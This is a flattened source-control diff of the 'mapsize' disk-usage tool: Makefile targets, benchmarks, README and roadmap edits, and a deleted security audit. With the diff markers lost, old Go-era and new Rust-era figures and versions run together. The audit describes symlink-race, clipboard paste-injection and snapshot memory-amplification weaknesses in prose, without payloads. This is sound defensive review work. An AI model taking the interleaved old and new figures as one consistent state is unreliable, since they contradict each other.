cd $(REL) && sha256sum * > SHA256SUMS
|
||||
|
||||
# Homebrew formula for the tagged release. The tag must already be pushed:
|
||||
# the checksum is of GitHub's source tarball for that tag.
|
||||
BREW_REPO := https://github.com/andydixon/mapsize
|
||||
brew-formula:
|
||||
@set -e; v=$(VERSION); v=$${v#v}; \
|
||||
case $$v in *-*) echo "brew-formula: HEAD is not exactly a release tag ($$v)"; exit 1;; esac; \
|
||||
url=$(BREW_REPO)/archive/refs/tags/v$$v.tar.gz; \
|
||||
sum=$$(curl -fsSL "$$url" | sha256sum | cut -d' ' -f1) || { echo "cannot fetch $$url (tag pushed?)"; exit 1; }; \
|
||||
mkdir -p dist/homebrew; \
|
||||
sed -e '/^#/d' -e "s/@VERSION@/$$v/g" -e "s/@SHA256@/$$sum/" packaging/homebrew/mapsize.rb.in > dist/homebrew/mapsize.rb; \
|
||||
echo "wrote dist/homebrew/mapsize.rb (v$$v, sha256 $$sum)"
|
||||
mkdir -p $(BIN)/homebrew; \
|
||||
sed -e "s/@VERSION@/$$v/g" -e "s/@SHA256@/$$sum/" packaging/homebrew/mapsize.rb.in > $(BIN)/homebrew/mapsize.rb; \
|
||||
echo "wrote $(BIN)/homebrew/mapsize.rb (v$$v, sha256 $$sum)"
|
||||
|
||||
clean:
|
||||
cargo clean
|
||||
rm -rf dist
|
||||
rm -rf $(BIN)
|
||||
|
||||
+61
-69
@@ -3,115 +3,107 @@
|
||||
All numbers below were measured, not estimated. Re-run them on your own
|
||||
hardware before relying on them; filesystem caches dominate scan timings.
|
||||
|
||||
## Test machine (2026-10-08)
|
||||
## Test machine (2026-10-02)
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| CPU | Intel Core i7-7700 @ 3.60 GHz, 4 cores / 8 threads |
|
||||
| RAM | 32 GiB |
|
||||
| OS | Linux 7.0, Rust 1.91.1 (release profile: LTO, one codegen unit) |
|
||||
| OS | Linux 7.0, Go 1.27.1 |
|
||||
| Filesystem | ext4 on Linux software RAID (`/dev/md2`) over two 7200 rpm SATA HDDs |
|
||||
|
||||
The host is shared; its load average was 5–9 during these runs. Each figure
|
||||
is the median (and best) of 7 runs.
|
||||
|
||||
## Scanner
|
||||
|
||||
Dataset: a source-package cache directory: 388,307 files + 65,518
|
||||
directories (458,510 inventory nodes), 10.5 GiB allocated. **Warm cache
|
||||
only**: dropping the page cache needs root, so these measure CPU and syscall
|
||||
Dataset: `~/go/pkg/mod` — 388,307 files + 65,518 directories (458,510
|
||||
inventory nodes), 10.5 GiB allocated. **Warm cache only**: dropping the page
|
||||
cache needs root, which was not available, so these measure CPU and syscall
|
||||
cost, not disk seeks. Cold-cache behaviour on HDDs will be dominated by seek
|
||||
time; expect fewer workers to be optimal there.
|
||||
|
||||
`mapsize --no-ui --workers N PATH`:
|
||||
`mapsize --no-ui --workers N ~/go/pkg/mod`, wall time, 3 runs each
|
||||
(`/usr/bin/time`):
|
||||
|
||||
| workers | median | best | peak RSS |
|
||||
|---:|---:|---:|---:|
|
||||
| 1 | 1.52 s | 1.44 s | 75 MB |
|
||||
| 8 (balanced default) | 0.47 s | 0.43 s | 76 MB |
|
||||
| 32 | 0.46 s | 0.43 s | 80 MB |
|
||||
| workers | run 1 | run 2 | run 3 | entries/s (best) | peak RSS |
|
||||
|---:|---:|---:|---:|---:|---:|
|
||||
| 1 | 1.77 s | 1.67 s | 1.65 s | ~278,000 | 117 MB |
|
||||
| 2 | 1.06 s | 0.99 s | 1.00 s | ~463,000 | 120 MB |
|
||||
| 4 | 0.59 s | 0.59 s | 0.62 s | ~777,000 | 117 MB |
|
||||
| 8 (balanced default) | 0.48 s | 0.50 s | 0.51 s | ~955,000 | 121 MB |
|
||||
| 16 | 0.45 s | 0.44 s | 0.43 s | ~1,066,000 | 121 MB |
|
||||
| 32 | 0.43 s | 0.44 s | 0.42 s | ~1,092,000 | 122 MB |
|
||||
|
||||
At 8 workers that is about 1,000,000 entries a second, in under 80 MB for
|
||||
458k nodes. Most of the time is spent in the `statx` and `getdents` system
|
||||
calls.
|
||||
For comparison, `du -s` on the same tree (warm): 1.59 s, 34 MB RSS.
|
||||
|
||||
| other runs over the same tree | median | peak RSS |
|
||||
|---|---:|---:|
|
||||
| scan + `--largest-files 50` | 0.60 s | 76 MB |
|
||||
| scan + `--json` (streamed to /dev/null) | 0.86 s | 76 MB |
|
||||
CPU profile at 8 workers: ~60 % of samples in `statx`/`getdents` syscalls;
|
||||
path reconstruction for job dispatch ~7 %; aggregation is negligible.
|
||||
|
||||
### Memory
|
||||
|
||||
`go test ./internal/scan -run TestMemoryPerNode` with
|
||||
`MAPSIZE_MEM_ROOT=~/go/pkg/mod`: 458,510 nodes, 69.1 MiB live heap,
|
||||
**~158 bytes per node** (node record ~112 bytes plus name storage and
|
||||
directory side tables). Extrapolated, 10 M entries need ~1.6 GiB.
|
||||
|
||||
## Snapshots
|
||||
|
||||
| operation | median | peak RSS |
|
||||
|---|---:|---:|
|
||||
| scan + save | 0.75 s | 77 MB |
|
||||
| load (`mapsize --no-ui file.msz`) | 0.23 s | 78 MB |
|
||||
| load a snapshot written by mapsize 1.2.0 | 0.26 s | 78 MB |
|
||||
Same 458,510-node tree:
|
||||
|
||||
Loading decompresses and verifies SHA-256 on one thread while another parses.
|
||||
Against a warm cache that is about twice as fast as rescanning; against a
|
||||
cold cache or a network filesystem, where scans are dominated by I/O
|
||||
latency, the gain is far larger (not yet measured here).
|
||||
| operation | result |
|
||||
|---|---:|
|
||||
| snapshot file size (gzip level 1) | 6.7 MB (~15 bytes/node) |
|
||||
| scan + save | 1.03 s |
|
||||
| load (`mapsize --no-ui file.msz`), 3 runs | 0.28 / 0.29 / 0.32 s, 81 MB RSS |
|
||||
| warm-cache rescan for comparison | 0.55 s |
|
||||
|
||||
Loading decompresses and verifies SHA-256 on a separate goroutine, overlapping
|
||||
with parsing. Against a warm cache the win is ~1.9×; against a cold cache or
|
||||
a network filesystem, where scans are dominated by I/O latency, it is far
|
||||
larger (not yet measured here).
|
||||
|
||||
## UI
|
||||
|
||||
`make benchmark` (`examples/bench.rs`), best of 5 runs, on a synthetic
|
||||
in-memory tree of 1,008,201 nodes (200 directories × 40 subdirectories × 100
|
||||
files, plus one flat directory with 200,000 files), 200×60 terminal:
|
||||
`go test ./internal/tui -bench Big` on a synthetic in-memory tree of
|
||||
1,008,201 nodes (200 directories × 40 subdirectories × 100 files, plus one
|
||||
flat directory with 200,000 files), 200×60 terminal:
|
||||
|
||||
| operation | time per op |
|
||||
|---|---:|
|
||||
| cold frame at root (sort children, LOD, layout incl. nested previews, paint) | 11.34 ms |
|
||||
| resize to a new size (layout + paint, child lists cached) | 1.50 ms |
|
||||
| arrow-key move + re-render | 1.31 ms |
|
||||
| zoomed into the 200,000-entry directory, cold | 9.37 ms |
|
||||
| cold frame at root (sort children, LOD, layout incl. nested previews, paint) | 33.8 ms |
|
||||
| resize to a new size (layout + paint, child lists cached) | 2.0 ms |
|
||||
| arrow-key move + re-render | 1.5 ms |
|
||||
| zoomed into the 200,000-entry directory, cold | 29.5 ms |
|
||||
| render of a small tree (2.4 K nodes) at 200×60 | 0.66 ms |
|
||||
| resize relayout of the small tree | 0.45 ms |
|
||||
|
||||
During a scan the size caches are invalidated at most every 400 ms, so even
|
||||
a cold frame costs a few percent of one core. Resize events only record the
|
||||
new size; layout happens once per rendered frame, so a resize storm cannot
|
||||
queue up work.
|
||||
During a scan the size caches are invalidated at most every 400 ms, so a
|
||||
cold frame (worst case above ~34 ms) costs under 10 % of one core; other
|
||||
frames reuse caches. Resize events only record the new size; layout happens
|
||||
once per rendered frame, so a resize storm cannot queue up work.
|
||||
|
||||
### Geometry
|
||||
|
||||
`go test ./internal/treemap -bench .`:
|
||||
|
||||
| operation | time |
|
||||
|---|---:|
|
||||
| squarified layout, 300 items | 8.4 µs |
|
||||
| spatial neighbour lookup among 300 blocks | 1.1 µs |
|
||||
| squarified layout, 300 items | 89 µs |
|
||||
| spatial neighbour lookup among 300 blocks | 2.1 µs |
|
||||
|
||||
### Filtering (1,008,201 nodes)
|
||||
|
||||
| query | time |
|
||||
|---|---:|
|
||||
| `size > 1MB` | 26.75 ms |
|
||||
| `*.dat AND size > 500k` | 67.84 ms |
|
||||
| `path contains sub3` | 63.80 ms |
|
||||
| `size > 1MB` | 31 ms |
|
||||
| `*.dat AND size > 500k` | 119 ms |
|
||||
| `path contains sub3` | 112 ms |
|
||||
|
||||
Filters run on a background thread with cancellation and a 120 ms keystroke
|
||||
debounce; the UI never waits for them. Path predicates build each path from
|
||||
the cached parent directory path into a reused buffer, and `*.ext` globs are
|
||||
a suffix test.
|
||||
|
||||
## Compared with mapsize 1.2.0
|
||||
|
||||
mapsize 1.2.0 was the last release of the previous implementation, written
|
||||
in Go. Both were run alternately on the same machine, over the same tree, in
|
||||
the same session:
|
||||
|
||||
| | 1.2.0 | current | |
|
||||
|---|---:|---:|---|
|
||||
| scan, 8 workers (median) | 0.63 s | 0.47 s | 1.34× faster |
|
||||
| scan, 1 worker (median) | 1.89 s | 1.52 s | 1.24× faster |
|
||||
| peak RSS while scanning | 117 MB | 76 MB | |
|
||||
| scan + save snapshot | 1.22 s | 0.75 s | 1.63× faster |
|
||||
| load snapshot | 0.34 s | 0.23 s | 1.48× faster |
|
||||
| scan + JSON export | 1.27 s, 153 MB | 0.86 s, 76 MB | 1.48× faster |
|
||||
| cold frame, 1M nodes | 36.01 ms | 11.34 ms | 3.18× faster |
|
||||
| squarified layout, 300 items | 84.3 µs | 8.4 µs | 10.07× faster |
|
||||
| arrow key + re-render | 1.50 ms | 1.31 ms | 1.14× faster |
|
||||
| filter `*.dat AND size > 500k` | 121.40 ms | 67.84 ms | 1.79× faster |
|
||||
Filters run on a background goroutine with cancellation and a 120 ms
|
||||
keystroke debounce; the UI never waits for them.
|
||||
|
||||
## Known costs / future work
|
||||
|
||||
* Path predicates now build each path from the cached parent directory path
|
||||
(244 ms → 112 ms); globs are dominated by `filepath.Match`.
|
||||
* Node records could shrink (owner/group/mode/link count are only needed for
|
||||
display and some filters) if memory on 10 M+ entry trees matters.
|
||||
* Cold-cache HDD benchmarks still need to be run with root access.
|
||||
|
||||
@@ -1,18 +1,17 @@
|
||||
# mapsize
|
||||
|
||||
An interactive, full-terminal disk usage analyser built around a live,
|
||||
navigable treemap. Think WinDirStat + ncdu + WizTree, in one Rust binary
|
||||
that runs over SSH.
|
||||
navigable treemap. Think WinDirStat + ncdu + WizTree, in one Go binary that
|
||||
runs over SSH.
|
||||
|
||||
> `mapsize` is a working name; branding lives in `src/brand.rs`.
|
||||
> `mapsize` is a working name; branding lives in `internal/brand`.
|
||||
|
||||
## Status
|
||||
|
||||
Version 2.0. See [CHANGELOG.md](CHANGELOG.md), [ROADMAP.md](ROADMAP.md) for
|
||||
Version 1.0. See [CHANGELOG.md](CHANGELOG.md), [ROADMAP.md](ROADMAP.md) for
|
||||
what comes next, and [PERFORMANCE.md](PERFORMANCE.md) for measured numbers.
|
||||
Releases cover Linux, macOS, Windows, FreeBSD and NetBSD. It is tested on
|
||||
Linux; CI also runs the test suite on macOS and Windows, but trash and
|
||||
file-manager integration have not yet been tried by hand there.
|
||||
Tested on Linux; macOS and Windows builds are produced but trash and
|
||||
file-manager integration have not yet been tested there.
|
||||
|
||||
## What it does
|
||||
|
||||
@@ -57,8 +56,8 @@ file-manager integration have not yet been tried by hand there.
|
||||
| x, g, e | file types, top lists, scan info & errors |
|
||||
| D | find duplicates |
|
||||
| a | toggle allocated / logical size |
|
||||
| c, o | copy path, reveal in file manager (headless: show the folder in the map) |
|
||||
| d | move to trash, or delete permanently when headless (asks; disabled with `--read-only`) |
|
||||
| c, o | copy path, reveal in file manager |
|
||||
| d | move to trash (asks; disabled with `--read-only`) |
|
||||
| s, r | save snapshot, rescan |
|
||||
| T | cycle theme |
|
||||
| ? | help |
|
||||
@@ -71,19 +70,15 @@ the map or scrolls lists. Everything works without a mouse (`--no-mouse`).
|
||||
## Install
|
||||
|
||||
```sh
|
||||
cargo install --locked --git https://github.com/andydixon/mapsize
|
||||
# or, from a checkout
|
||||
make build # → target/release/mapsize
|
||||
go install github.com/andydixon/mapsize/cmd/mapsize@v1.0.0
|
||||
# or
|
||||
make build # → bin/mapsize
|
||||
sudo make install # binary + man page under /usr/local (PREFIX=… to change)
|
||||
|
||||
# Homebrew (macOS and Linux)
|
||||
# Homebrew (macOS and Linux), once the tap is published
|
||||
brew install andydixon/tap/mapsize
|
||||
```
|
||||
|
||||
On Debian, Ubuntu, Fedora, RHEL, openSUSE and Arch, `mapsize` is also in the
|
||||
signed apt, dnf and pacman repository at repo.dixon.cx, so it updates with the
|
||||
rest of the system: see https://dixon.cx/repo for the setup commands.
|
||||
|
||||
Full reference: `man mapsize` after installing, or `make man` /
|
||||
`man -l docs/mapsize.1` from the source tree.
|
||||
|
||||
@@ -161,16 +156,9 @@ uses ordinary filesystem APIs, and duplicate detection reads file content
|
||||
|
||||
`d` moves the selected item to the system trash (freedesktop.org trash on
|
||||
Linux, `~/.Trash` on macOS, the Recycle Bin on Windows) after confirmation,
|
||||
using native file operations — never a shell.
|
||||
|
||||
On a headless Linux or BSD system (neither `DISPLAY` nor `WAYLAND_DISPLAY`
|
||||
set) nothing ever empties the trash, so trashing would not free any space.
|
||||
There `d` deletes permanently instead, after a confirmation that says it
|
||||
cannot be undone, and `o` shows the folder in the map rather than opening a
|
||||
file manager.
|
||||
|
||||
Deletion is unavailable while scanning, for snapshots, and in read-only
|
||||
mode.
|
||||
using native file operations — never a shell. Permanent deletion is not
|
||||
offered. Trash is unavailable while scanning, for snapshots, and in
|
||||
read-only mode.
|
||||
|
||||
## Documentation
|
||||
|
||||
|
||||
+2
-2
@@ -3,14 +3,14 @@
|
||||
Status markers: `[x]` done, `[~]` partial, `[ ]` not started.
|
||||
|
||||
## 0.1 — inventory engine
|
||||
- [x] project skeleton, Makefile, CI
|
||||
- [x] Go project skeleton, Makefile, CI
|
||||
- [x] portable filesystem scanner, bounded worker pool, no-deadlock scheduler
|
||||
- [x] inventory node model, incremental aggregation
|
||||
- [x] cancellation, progress counters, error accounting
|
||||
- [x] CLI: `--top`, `--json`, `--csv`, `--no-ui`
|
||||
|
||||
## 0.2 — TUI shell
|
||||
- [x] full-screen terminal app, canvas renderer, frame cache
|
||||
- [x] full-screen Bubble Tea v2 app, canvas renderer, frame cache
|
||||
- [x] responsive layout (large / medium / small / too-small)
|
||||
- [x] resize handling, status bar, progressive display, directory list
|
||||
|
||||
|
||||
@@ -1,103 +0,0 @@
|
||||
# Functionality and Next Steps Report
|
||||
|
||||
Project: **mapsize** v1.0.0 plus the fixes from the security audit of 2026-10-02 (`audits/20261002-1102-securityAudit.md`).
|
||||
|
||||
## 1. Executive Summary
|
||||
|
||||
mapsize is a well-structured, well-documented codebase with unusually good invariants:
|
||||
|
||||
- a single writer for the inventory,
|
||||
- a deadlock-free bounded scheduler,
|
||||
- a documented lock discipline,
|
||||
- a defensive renderer.
|
||||
|
||||
The full test suite passes across 11 packages, `go vet` is clean on every target OS, and `govulncheck` reports no vulnerabilities.
|
||||
|
||||
The highest-impact opportunities:
|
||||
|
||||
1. **Make actions after the scan relative to file descriptors** (scanner, duplicate hashing, reveal), so that what mapsize acts on is provably what it scanned. This is the remaining correctness and security gap when running as root.
|
||||
2. **Exercise the macOS and Windows paths for real.** Trash and reveal there are implemented but have never been run (ROADMAP 0.8). CI runs `go test` on those OSes, but the platform tests are Linux-only.
|
||||
3. **Small UX and robustness fixes:**
|
||||
- repeated actions on already-trashed nodes,
|
||||
- JSON names that cannot be mapped back to real files,
|
||||
- an unbounded filter-query nesting depth.
|
||||
|
||||
## 2. Current Functional Risks
|
||||
|
||||
| Risk | Evidence | User impact |
|
||||
|---|---|---|
|
||||
| Trash and reveal on macOS and Windows are untested | ROADMAP 0.8; `ops_darwin.go` and `ops_windows.go` have no tests | First-use failures on those platforms; MS-09 (explorer comma parsing) is unverified |
|
||||
| Trashing inside an already-trashed directory | `trashDone` (`internal/tui/actions.go`) flags only the trashed node `FlagDeleted`; its descendants stay selectable in some views until a rescan | Normally fails safely, because the path is gone and `Lstat` errors. If someone recreates the same path, the stale aggregates would be subtracted again |
|
||||
| Scan redirection by symlink races | `platform.ReadDir` opens directories by path (MS-08) | Wrong totals on trees other users can write to |
|
||||
| `--duplicates` reading from a hung NFS/SMB mount | `fullHash` makes a blocking `read(2)` | It cannot be cancelled (inherent); worth documenting |
|
||||
| JSON names lossy for non-UTF-8 bytes | `encoding/json` replaces invalid UTF-8 with U+FFFD | Consumers cannot locate those files |
|
||||
| Filter queries with extreme nesting | Recursive descent in `filter/parser.go` | A self-inflicted crash from a pathological paste |
|
||||
| Copy refusal for unusual names (new) | `copyPath` refuses anything `Sanitize` would change | Users with legitimately odd names cannot copy them; the info modal shows the escaped form instead |
|
||||
|
||||
## 3. Code Quality Improvements
|
||||
|
||||
- **Platform trash code.** After this audit, `ensurePrivateDir` and `renameChecked` live in `trash_unix.go`, shared by Linux and macOS. The remaining Linux/macOS differences (trash layout, the `.trashinfo` file) are inherent. Keep any new platform logic behind `internal/platform`, as ARCHITECTURE.md requires.
|
||||
- **`requestTrash` captures identity in the confirmation closure.** If inode identity is added (security finding MS-11), extend `platform.Expect` rather than adding parameters.
|
||||
- **Ignored `Write` errors in `snapshot.Save` and `export.JSON`.** These are safe because the final `Flush` reports a sticky error. A short comment saying so would stop future "fixes" from adding noise.
|
||||
- **`pprof.StartCPUProfile` error ignored** in `cmd/mapsize/main.go`. Report it, so that a profiling run does not silently produce nothing.
|
||||
- **ARCHITECTURE.md drift.** Its OS-abstraction section names `readdir_unix.go`, `readdir_windows.go` and `fs_*.go`. The actual files are `readdir_bsd.go`, `readdir_other.go`, `sys_*.go` and `mode_unix.go`, plus the new `trash_unix.go` and `open_*.go`. The document says that if the two disagree, one of them should be fixed.
|
||||
|
||||
## 4. Frontend Interaction and Error-Handling Improvements
|
||||
|
||||
(This is a terminal UI; there is no web frontend.)
|
||||
|
||||
- **Show *why* an action was refused, with a next step.** Trash now reports "item changed since the scan … rescan first". Consider offering `r` (rescan) directly from that message.
|
||||
- **Mark descendants of trashed directories.** Either hide nodes whose ancestor carries `FlagDeleted` in the list, top and duplicate views, or have `requestTrash` refuse them early with "already moved to trash".
|
||||
- **Duplicate view while hashing.** Esc cancels between files. Showing "waiting on <file>" when one read stalls for more than N seconds would make a hung network mount visible.
|
||||
- **Copy refusal.** Offer to copy the *escaped* form, clearly labelled, so that users can still reference odd names in scripts.
|
||||
|
||||
## 5. Testing Roadmap
|
||||
|
||||
- **Platform:**
|
||||
- macOS: run the platform tests on the CI `macos-latest` runner. Port `TestTrashFreedesktop`-style tests to `~/.Trash` and to a volume trash on a disk image created with `hdiutil`.
|
||||
- Windows: a Recycle Bin smoke test, plus reveal with comma-bearing names (MS-09).
|
||||
- **Abuse cases:**
|
||||
- A scanner race test in which a goroutine toggles a directory and a symlink during a scan, asserting that no node falls outside the root's (dev, ino) closure. This needs MS-08 first.
|
||||
- Filter nesting-depth and length limits.
|
||||
- A test that `--read-only` blocks every mutating key: `d`, `delete`, and `d` inside the duplicate view.
|
||||
- **Config:** malformed JSON, out-of-range `refresh_hz`, and bad colours.
|
||||
- **Regression:** keep running the four tests added in this audit and the existing hostile-snapshot and fuzz targets in CI. Consider a nightly job running `make fuzz` for longer.
|
||||
- **Load:** the cold-cache HDD benchmark already on the ROADMAP, and a snapshot load benchmark at the new node-limit boundary.
|
||||
|
||||
## 6. Recommended New Functionality
|
||||
|
||||
- **Safer root workflow:** a `--trash-owned-by-me` option, or a default that refuses to trash items in directories owned by other users when running as root. This prevents most of the TOCTOU class of bugs outright.
|
||||
- **Lossless export:** add a `name_escaped`/`path_escaped` (or base64) field to JSON and CSV for names that are not valid UTF-8.
|
||||
- **Snapshot provenance (optional):** `--sign KEY` and `--verify KEY` using Ed25519, so teams that share snapshots can trust their origin. See audit finding MS-13.
|
||||
- **Configurable keybindings** (already on the ROADMAP).
|
||||
- **Windows allocated size** through `GetCompressedFileSizeW` (already on the ROADMAP).
|
||||
|
||||
## 7. Next-Level Opportunities
|
||||
|
||||
- **Descriptor-relative scanner:**
|
||||
- Keep a parent fd per pending directory, or reopen with `openat2(RESOLVE_BENEATH|RESOLVE_NO_SYMLINKS)` on Linux 5.6+.
|
||||
- Verify (dev, ino) after each open.
|
||||
- Store `Ino` for the nodes that need it.
|
||||
- This closes MS-08, MS-11 and MS-12 together, and may reduce path-building work in hot loops.
|
||||
- **Memory:** the name arena on the ROADMAP would also cut the per-node cost behind the snapshot amplification limit.
|
||||
- **Release pipeline:** build releases in GitHub Actions with SHA-pinned actions, attach Sigstore signatures and SLSA provenance, and publish the Homebrew formula automatically.
|
||||
- **Accessibility:** the `mono` theme and the non-colour selection cues are good. A screen-reader-friendly `--no-ui` interactive list mode could serve users who cannot use a treemap.
|
||||
|
||||
## 8. Prioritised Action Plan
|
||||
|
||||
| Horizon | Action | Rationale | Risk |
|
||||
|---|---|---|---|
|
||||
| Immediate | Done: the trash identity check, copy guard, FIFO-safe open, snapshot node cap and CI token scope | Closes the Medium findings | Low; all have tests |
|
||||
| Short | Fix the ARCHITECTURE.md file list, and hide or refuse descendants of trashed nodes | Accurate documentation; avoids confusing stale entries | Very low |
|
||||
| Short | Run platform tests on macOS and Windows CI; verify the explorer comma behaviour | Untested destructive code paths | Low |
|
||||
| Short | Pin actions by SHA and add Dependabot | Supply chain | Very low |
|
||||
| Medium | Descriptor-relative scanning and actions | Removes the remaining TOCTOU class | Medium: touches the scanner hot path, so benchmark against PERFORMANCE.md |
|
||||
| Medium | Lossless JSON names | Data fidelity | Low: additive field |
|
||||
| Long | Signed releases and provenance; optional signed snapshots | Trust in artifacts | Low |
|
||||
|
||||
## 9. Caveats and Validation Needed
|
||||
|
||||
- macOS and Windows behaviour was only cross-compiled with `go vet`, never executed. The Darwin volume-trash change (strict private directory) in particular should be checked on a real external volume. If `.Trashes/<uid>` already exists with different permissions, trash now falls back to an error instead of using it.
|
||||
- The trash identity check refuses items whose owner or type changed since the scan. Users who `chown` while browsing will see refusals until they rescan; this is intended.
|
||||
- The snapshot node cap assumes about 15 bytes per node (PERFORMANCE.md). Trees made of extremely repetitive names compress better. The cap allows one node per byte, about 15× headroom, but it is worth validating against the largest real snapshots before the next release.
|
||||
- The concurrent commit `ab3ff7b` (Homebrew template) landed during the audit and was reviewed.
|
||||
@@ -1,820 +0,0 @@
|
||||
# Security Audit Report
|
||||
|
||||
Project: **mapsize** (Go, `github.com/andydixon/mapsize`), an interactive terminal disk-usage analyser, at v1.0.0 plus fixes.
|
||||
Date: 2026-10-02. Audit commits: `3ec5bd7`, `1f9429e`, `5966fdd`, `3264def`, `b009ac3` (all with the subject "AI codebase review").
|
||||
|
||||
## 1. Executive Summary
|
||||
|
||||
mapsize is a local, single-user CLI/TUI. It has no network listener, no authentication, no stored secrets, and no native code beyond syscalls made through `golang.org/x/sys`. Its attack surface is **filesystem content controlled by other users** (file names, file types, directory layout, and races against the scan) and **snapshot files** (`.msz`) that people may share. The codebase was already defensive: it sanitises terminal output with a second check in the canvas, never invokes a shell, validates snapshots carefully, and checks the ownership of shared trash directories.
|
||||
|
||||
The most important issues were in the places where mapsize **acts on the filesystem after the scan**:
|
||||
|
||||
- **MS-01 (Medium, fixed).** Trash renamed items by path long after the scan. If another user swapped a parent directory for a symlink, an administrator cleaning that user's tree could move an unrelated file (for example `/etc/shadow`) into the trash.
|
||||
- **MS-02 (Medium, fixed).** "Copy path" put raw filenames on the clipboard through OSC 52. A filename containing newlines runs commands when it is pasted into a shell.
|
||||
- **MS-03 (Medium, fixed).** The snapshot decompression limit allowed roughly 600× memory amplification. An 804 KB crafted file was measured at about 500 MB of heap.
|
||||
- **MS-04 (Low, fixed).** The duplicate finder could be wedged permanently by a file that was swapped for a FIFO after the scan. Cancelling did not help.
|
||||
|
||||
All four now have regression tests. No vulnerable dependencies were found (`govulncheck`: none). The remaining items are low-severity defence-in-depth or supply-chain hygiene.
|
||||
|
||||
**Architectural concern:** operations after the scan still resolve paths again (scanner directory opens, duplicate hashing, reveal). Fully race-free handling needs descriptor-relative traversal (`openat` chains or `openat2(RESOLVE_NO_SYMLINKS)`). The trash fix applies this only to the final parent directory.
|
||||
|
||||
## 2. Scope Reviewed
|
||||
|
||||
- **Languages and frameworks:** Go 1.26 (toolchain 1.27.1 used locally), Bubble Tea v2 (`charm.land/bubbletea/v2`), `charmbracelet/x/ansi`, `rivo/uniseg`, `golang.org/x/sys`.
|
||||
- **Source:** all 85 tracked files, including `cmd/mapsize`, `cmd/treegen`, and every package under `internal/` (app, brand, config, duplicate, export, filter, inventory, platform, scan, snapshot, textutil, treemap, tui).
|
||||
- **Build and deployment:** `Makefile` (build, install, release, brew-formula), `nfpm.yaml`, `packaging/homebrew/mapsize.rb.in`, `.github/workflows/ci.yml`, `scripts/bench-scan.sh`.
|
||||
- **Dependencies:** `go.mod`, `go.sum`.
|
||||
- **Tests:** every `*_test.go`, including the hostile-snapshot, fuzz, scan-stress and TUI tests.
|
||||
- **Documentation:** ARCHITECTURE.md (its invariants were checked against the code), README.md, and the man page.
|
||||
- **Not in scope:** there are no Dockerfiles, IaC, web frontend or servers.
|
||||
|
||||
## 3. Methodology
|
||||
|
||||
- **Static review:** a manual line-by-line reading of the trust-boundary code (platform ops, snapshot decoder, scanner, duplicate finder, exporters, TUI actions and rendering, config).
|
||||
- **Adversarial mapping:** the attacker starting points considered were (a) a local user who can write inside the scanned tree, (b) the author of a snapshot file, and (c) a compromised dependency or CI pipeline.
|
||||
- **Dynamic validation:** the following findings were reproduced locally with tests before they were fixed:
|
||||
- MS-04: a test hung at its 5 s timeout before the fix.
|
||||
- MS-03: an 804 KB crafted snapshot produced 4.2 M nodes and 497 MB `HeapInuse`.
|
||||
- MS-01 and MS-02: regression tests were written against the old behaviour.
|
||||
- **Dependency review:** `govulncheck ./...` (latest) reported no vulnerabilities; `go vet` and the full test suite are clean; cross-platform `go vet` was run for darwin, windows and freebsd.
|
||||
- **Specific reviews:** cryptography, the secrets lifecycle, memory and resource safety, DoS and terminal-injection reviews, using the checklists in the brief.
|
||||
|
||||
## 4. Risk Rating Method
|
||||
|
||||
Severity combines impact and likelihood in mapsize's realistic deployment, which is a user or administrator running it interactively, sometimes as root, over trees that other users can write to.
|
||||
|
||||
- **Critical/High:** remote or unauthenticated compromise, or reliable privilege escalation. None found.
|
||||
- **Medium:** integrity, confidentiality or availability impact that needs a plausible precondition (another local user's tree, or opening a shared snapshot) plus a user action.
|
||||
- **Low:** narrow races, partial impact, or hygiene problems with a credible but unlikely path.
|
||||
- **Informational:** defence-in-depth or documentation.
|
||||
|
||||
Confidence:
|
||||
|
||||
- **High:** reproduced, or directly evident in the code.
|
||||
- **Medium:** the reasoning is sound but it was not reproduced.
|
||||
- **Low:** depends on unverified external behaviour, such as Windows `explorer.exe` argument parsing.
|
||||
|
||||
## 5. Attack Surface Map
|
||||
|
||||
| Entry point | Trust | Notes |
|
||||
|---|---|---|
|
||||
| Directory and file names, types and layout under the scanned root | **Untrusted** (other local users) | Names reach the terminal, the clipboard, CSV/JSON output and trashinfo. Layout can change between the scan and an action (TOCTOU). |
|
||||
| Snapshot files (`mapsize FILE.msz`, `--load`, `--compare`) | **Untrusted** (shared by colleagues or downloaded) | Binary gzip format with a SHA-256 trailer (integrity only). Decoded in `internal/snapshot/snapshot.go`. |
|
||||
| Filter query (`/` in the TUI) | Local user | RE2 regex (linear time) and `filepath.Match`. |
|
||||
| CLI flags, config JSON (`$XDG_CONFIG_HOME/mapsize/config.json`) | Local user | Paths for `--save`, `--log`, `--cpuprofile` and `--memprofile` are written as specified. |
|
||||
| External helpers | Executed with argument vectors | `xdg-open`, `open -R`, `explorer.exe /select,`. No shell is used. |
|
||||
| Trash | Mutating | freedesktop.org trash on Linux, `~/.Trash` and volume `.Trashes/<uid>` on macOS, `SHFileOperationW` on Windows. |
|
||||
| Clipboard | Output | OSC 52 written to the terminal. |
|
||||
| CI/release | Supply chain | GitHub Actions, `go run nfpm@v2.41.1`, and `curl` of the release tarball for the Homebrew sha256. |
|
||||
|
||||
**Attacker positions:**
|
||||
|
||||
- **A1:** an unprivileged user who owns a subtree that an administrator scans as root, such as `/home`, `/srv/shared` or `/tmp`.
|
||||
- **A2:** the sender of a snapshot file.
|
||||
- **A3:** a compromised upstream action or module.
|
||||
|
||||
**Not present:** network listeners, IPC, authentication, sessions, secrets, databases, web frontend.
|
||||
|
||||
## 6. Findings Summary Table
|
||||
|
||||
| ID | Severity | Confidence | Title | Component | Status |
|
||||
|---|---|---|---|---|---|
|
||||
| MS-01 | Medium | High | Trash follows a parent swapped for a symlink after the scan (TOCTOU) | `internal/platform/ops_linux.go`, `ops_darwin.go`, `internal/tui/actions.go` | Fixed (`3ec5bd7`) |
|
||||
| MS-02 | Medium | High | Copy-path puts control characters on the clipboard (paste injection) | `internal/tui/keys.go`, `modals.go` | Fixed (`1f9429e`) |
|
||||
| MS-03 | Medium | High | Snapshot node amplification exhausts memory (about 600×) | `internal/snapshot/snapshot.go` | Fixed (`b009ac3`) |
|
||||
| MS-04 | Low | High | Duplicate finder blocks forever on a file swapped for a FIFO | `internal/duplicate/duplicate.go` | Fixed (`5966fdd`) |
|
||||
| MS-05 | Low | Medium | macOS volume trash directory not checked for symlinks or ownership | `internal/platform/ops_darwin.go` | Fixed (`3ec5bd7`) |
|
||||
| MS-06 | Low | High | CI workflow runs with the default `GITHUB_TOKEN` permissions | `.github/workflows/ci.yml` | Fixed (`3264def`) |
|
||||
